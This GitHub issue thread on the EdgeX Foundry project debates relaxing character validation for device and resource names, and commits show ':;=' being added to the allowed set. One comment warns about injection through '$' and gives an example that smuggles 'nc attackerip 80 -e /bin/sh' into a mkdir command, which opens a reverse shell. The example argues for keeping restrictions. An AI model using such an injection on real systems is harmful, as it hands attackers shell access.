Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reduce the character restriction of the name field #750

Closed
cloudxxx8 opened this issue Jul 13, 2022 · 6 comments · Fixed by #761
Closed

Reduce the character restriction of the name field #750

cloudxxx8 opened this issue Jul 13, 2022 · 6 comments · Fixed by #761
Assignees
Labels
enhancement New feature or request

Comments

@cloudxxx8
Copy link
Member

🚀 Feature Request

Relevant Package [REQUIRED]

This feature request is for all services

Description [REQUIRED]

Driven by edgexfoundry/edgex-go#4053

We added ValidateDtoRFC3986UnreservedChars func to check if DTO's name pointer value only contains unreserved characters as defined in https://tools.ietf.org/html/rfc3986#section-2.3
unreserved characters= ALPHA / DIGIT / "-" / "." / "_" / "~"
Also due to names used in topics for Redis Pub/Sub, "." is not allowed

However, we noticed colon : is a standard character of BACnet device resource. It might look like abc:def in the resource name.
Furthermore, a customer told us their device might contain space and dollar sign in the resource name.
Thus, I propose to remove this restriction.

Users can still use URL escape to use those characters to call the API.
Our go-mod-messaging might also help escape those characters

Describe the solution you'd like

Remove edgex-dto-rfc3986-unreserved-chars validation tag from all the name fields.

@cloudxxx8 cloudxxx8 added the enhancement New feature or request label Jul 13, 2022
@iain-anderson
Copy link
Member

We should probably document the various places that names crop up in, and what limitations / workarounds are implied.
eg:
REST paths - URL escaping scheme is comprehensive
MQTT topic names - at least '/', '+' and '#' are problematic
REDIS topic names - '.', '/' and '*' ?
JSON data - quotes need to be escaped, but this should be handled in the support library
REDIS database keys?

@lenny-goodell
Copy link
Member

lenny-goodell commented Jul 13, 2022

We should probably document the various places that names crop up in, and what limitations / workarounds are implied.

Very good point!!

Note the Redis Pub/Sub implementation converts / & # in the topic to . and * so that our message bus abstraction uses / & # consistently. MQTT still have the additional +.

@lenny-goodell
Copy link
Member

I am in favor of configuration as follows:

  • Validation Disabled
    • Default to false
  • Additional allowed characters
    • Used when Validation is still enabled
    • Allows adding just the special character(s) the adopter needs.
    • Could be a map of strings where the key is the device service name so the validation only applies to names generated for object's associate with the specified device service.

I am assuming this configuration is for core-metadata and applies to Device, DeviceProfile and DeviceResource names.

@lenny-goodell
Copy link
Member

FYI, we use this name validation in many other DTOs.
https://github.com/edgexfoundry/go-mod-core-contracts/search?q=edgex-dto-rfc3986-unreserved-chars

@cloudxxx8
Copy link
Member Author

cloudxxx8 commented Jul 15, 2022

important feedback from @bnevis-i via email:

There is always a risk of command injection of using characters such as $, particularly if a device service ever invoked system() or equivalent as part of its processing.

For example (used to be with old school httpd that HTTP headers got reflected in environment variables):

mkdir /dev/DEVICE_NAME where DEVICE_NAME is "$HTTP_X_HACKME" and the HTTP request had an X_HACKME header that contained "null; nc attackerip 80 -e /bin/sh"

Then you get

mkdir /dev/null; nc attackerip 80 -e /bin/sh

which gives the attacker access to a shell on your box.

This kind of attack is particularly insidious because you can do all the right things, and then call some third party code that you don't know about that just totally blows it.

@bnevis-i
Copy link
Collaborator

To follow up:

If "$" is legal for BACnet identifiers, then only allow "$" for BACnet devices, for example. Or pull the usable character set out into configuration, where the user can override it for corner cases like this. Removing all restrictions entirely is just asking for trouble.

@cloudxxx8 cloudxxx8 changed the title Remove the character restriction of the name field Reduce the character restriction of the name field Aug 3, 2022
weichou1229 added a commit to weichou1229/go-mod-core-contracts that referenced this issue Sep 28, 2022
Add characters :;= to reduce the character restriction.

Close edgexfoundry#750

Signed-off-by: bruce <weichou1229@gmail.com>
weichou1229 added a commit to weichou1229/go-mod-core-contracts that referenced this issue Sep 28, 2022
Add characters :;= to reduce the character restriction.

Close edgexfoundry#750

Signed-off-by: bruce <weichou1229@gmail.com>
weichou1229 added a commit to weichou1229/go-mod-core-contracts that referenced this issue Sep 29, 2022
Add characters :;= to reduce the character restriction.
- In BACNet protocol, user might combine object type and property as the resourceName, for example: analog_input_0:present-value
- In OPC_UA protocol, user might use NodeId as the resourceName, for example: ns=10;s=Hello:World

Close edgexfoundry#750

Signed-off-by: bruce <weichou1229@gmail.com>
weichou1229 added a commit to weichou1229/go-mod-core-contracts that referenced this issue Sep 29, 2022
Add characters :;= to reduce the character restriction.
- In BACNet protocol, the user might combine object type and property as the resourceName, for example, analog_input_0:present-value
- In OPC_UA protocol, user might use NodeId as the resourceName, for example, ns=10;s=Hello:World

Close edgexfoundry#750

Signed-off-by: bruce <weichou1229@gmail.com>
weichou1229 added a commit to weichou1229/go-mod-core-contracts that referenced this issue Sep 29, 2022
Add characters :;= to reduce the character restriction.
- In BACNet protocol, the user might combine object type and property as the resourceName, for example, analog_input_0:present-value
- In OPC_UA protocol, the user might use NodeId as the resourceName, for example, ns=10;s=Hello:World

Close edgexfoundry#750

Signed-off-by: bruce <weichou1229@gmail.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants